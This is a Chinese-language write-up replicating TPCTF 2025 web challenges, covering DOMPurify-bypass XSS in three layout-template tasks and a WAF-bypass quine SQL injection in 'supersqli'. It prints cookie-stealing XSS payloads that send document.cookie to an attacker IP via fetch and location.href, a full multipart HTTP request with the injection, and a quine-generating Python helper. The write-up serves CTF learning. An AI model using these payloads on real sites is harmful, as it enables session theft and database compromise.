TPCTF 2025 web 复现

文章目录

  • [baby layout](#baby layout)
  • [safe layout](#safe layout)
  • [Safe Layout Revenge](#Safe Layout Revenge)

baby layout

在index.js文件中,看到了有使用DOMPurify库来防止XSS操作

在package.json里可以看到版本是3.2.4,关于3.2.3是有绕过策略的。它会把script标签清除掉,去看bot可以看到flag是放到cookie里的

c 复制代码
  await context.setCookie({
    name: 'FLAG',
    value: FLAG,
    domain: APP_HOST,
    httpOnly: false,
    sameSite: 'Strict',
  });

httponly被设置为false,所以是可以用js脚本获取的,打xss,最好用的一般就是image标签

c 复制代码
<img src=a onerror=alert(1)>

create new layout发现可行,接着create new post发现成功被解析成图标。layout是布局模板,需要包含占位符{{content}},post的内容过滤之后会渲染到模板里。那么到这里我们需要做一件事情,就是把完整的内容传进最终的body里我们如果全传到layout或者全传到post传不进去,但如果分开传呢?这就有了一个天才的想法

layout:<img src=a {{content}}>

接下来在post里发我们要的执行代码

οnerrοr=alert(1)

接下来要做的事情就更简单了,想办法把引号闭合了即可

"οnerrοr=alert(1)//

说明代码成功执行,接下来用fetch函数拿Cookie发到自己服务器即可

c 复制代码
"onerror=fetch(`http://[ip]:2333/`+document.cookie)>//

最后记得让bot访问构造好的页面

safe layout

先看看这道题比上一道题多了什么

html标签的属性被过滤了,但是data-* 和 aria-* 类的属性不会被过滤

发现web里有两个ejs文件,打开看一下是渲染页面用的,没什么信息

探索DOMPurify库

同时onload也是默认可用的

<svg data-type="{{content}}"></svg>

test" οnlοad=location.href="http://ip:3389?flag="+document.cookie src="

复现环境没有bot,试着可以弹窗就说明成功了

c 复制代码
<meta http-equiv="refresh" content="0; url=http://47.108.229.212:3389?bot_was_here">

Safe Layout Revenge

越来越有意思了,data和aria也被禁了

c 复制代码
const sanitizedContent = DOMPurify.sanitize(content, {
    ALLOWED_ATTR: [],
    ALLOW_ARIA_ATTR: false,
    ALLOW_DATA_ATTR: false,
  });

其实在上一篇文章里有绕过策略,整体思路是采用 style 绕过,测试发现当 style 标签前面跟上一些字符时,style 内部的元素可能会得以保留,故这里采用的是删除策略,把 xss 的 payload 构造好后,把 script 标签插入 content,在第二次 post 的时候删除就行

c 复制代码
{ "layout": "s<style><{{content}}/style><{{content}}img src=a onerror=alert()></style>" }

{ "content": "" }

弹窗成功后接下来用fetch带出信息

supersqli

进来看到很多python文件,逐个看看

在views.py中看到拿到flag的逻辑,要求传入username和password,根据传入的数据去查询,如果查询到的密码跟自己设置的密码一样,那就给出flag

c 复制代码
def flag(request:HttpRequest):
    if request.method != 'POST':
        return HttpResponse('Welcome to TPCTF 2025')
    username = request.POST.get('username')
    if username != 'admin':
        return HttpResponse('you are not admin.')
    password = request.POST.get('password')
    users:AdminUser = AdminUser.objects.raw("SELECT * FROM blog_adminuser WHERE username='%s' and password ='%s'" % (username,password))
    try:
        assert password == users[0].password
        return HttpResponse(os.environ.get('FLAG'))
    except:
        return HttpResponse('wrong password')

在urls.py中看到应该是要去/flag提交数据

c 复制代码
urlpatterns = [
    path("flag/", views.flag, name="flag"),
    path("", views.index, name="index"),
]

去到waf里看看过滤

c 复制代码
var sqlInjectionPattern = regexp.MustCompile(`(?i)(union.*select|select.*from|insert.*into|update.*set|delete.*from|drop\s+table|--|#|\*\/|\/\*)`)

var rcePattern = regexp.MustCompile(`(?i)(\b(?:os|exec|system|eval|passthru|shell_exec|phpinfo|popen|proc_open|pcntl_exec|assert)\s*\(.+\))`)

var hotfixPattern = regexp.MustCompile(`(?i)(select)`)

从单纯语句绕过显然是绕不过去了,去看下面这篇文章
bypass

form-data最初诞生于文件上传,但是也可以用来传递参数,那么我们就可以利用这一特性,让后端检测以为我们是在上传文件,实则是传递参数构造攻击语句(适用于一些劣质waf)

至于密码相等这一环节,则使用quine攻击
sql注入新特性

c 复制代码
POST /flag HTTP/1.1
Host: 127.0.0.1:70
Cache-Control: max-age=0
sec-ch-ua: "Not/A)Brand";v="8", "Chromium";v="126"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: multipart/form-data; boundary=a
Content-Length: 518

--a
Content-Disposition: form-data; name="username";filename="pic.png"
Content-Disposition: form-data; name="username"

admin
--a
Content-Disposition: form-data; name="password";filename="pic.png"
Content-Disposition: form-data; name="password"


' union SELECT 1,2,REPLACE(REPLACE('" union SELECT 1,2,REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".") AS weljoni--',CHAR(34),CHAR(39)),CHAR(46),'" union SELECT 1,2,REPLACE(REPLACE(".",CHAR(34),CHAR(39)),CHAR(46),".") AS weljoni--') AS weljoni--
--a--

可惜本地复现时显示301,可能给出的源码里有点问题

c 复制代码
def quine(data, debug=True):
    if debug: print data
    data = data.replace('$$',"REPLACE(REPLACE($$,CHAR(34),CHAR(39)),CHAR(36),$$)")
    blob = data.replace('$$','"$"').replace("'",'"')
    data = data.replace('$$',"'"+blob+"'")
    if debug: print data
    return data
c 复制代码
data = quine("' UNION SELECT $$ AS id,MD5(CHAR(122)) AS pw-- ")
data = quine("' UNION SELECT MD5($$)#)
相关推荐
曲幽20 小时前
FastAPI登录验证:用OAuth2与JWT构筑你的API安全防线
python·fastapi·web·jwt·token·oauth2
ShoreKiten2 天前
ctfshow-web257【保姆级wp】
php·web
这就是佬们吗2 天前
告别 Node.js 版本冲突:NVM 安装与使用全攻略
java·linux·前端·windows·node.js·mac·web
WayneJoon.H2 天前
2023CISCN go_session
网络安全·golang·ctf·代码审计·ciscn
heartbeat..2 天前
Spring MVC 全面详解(Java 主流 Web 开发框架)
java·网络·spring·mvc·web
lingxiao168883 天前
WebApi详解+Unity注入--上篇:基于Framework的WebApi
c#·wpf·web
23zhgjx-zgx3 天前
HTTP网络攻击分析
网络·ctf
Lethehong4 天前
第二届“启航杯“网络安全挑战赛开始啦!
安全·web安全·ctf·启航杯
蓝之白4 天前
流量分析_SnakeBackdoor-6
web安全·ctf·流量分析·逆向分析
曲幽5 天前
FastAPI + SQLite:从基础CRUD到安全并发的实战指南
python·sqlite·fastapi·web·jwt·form·sqlalchemy·oauth2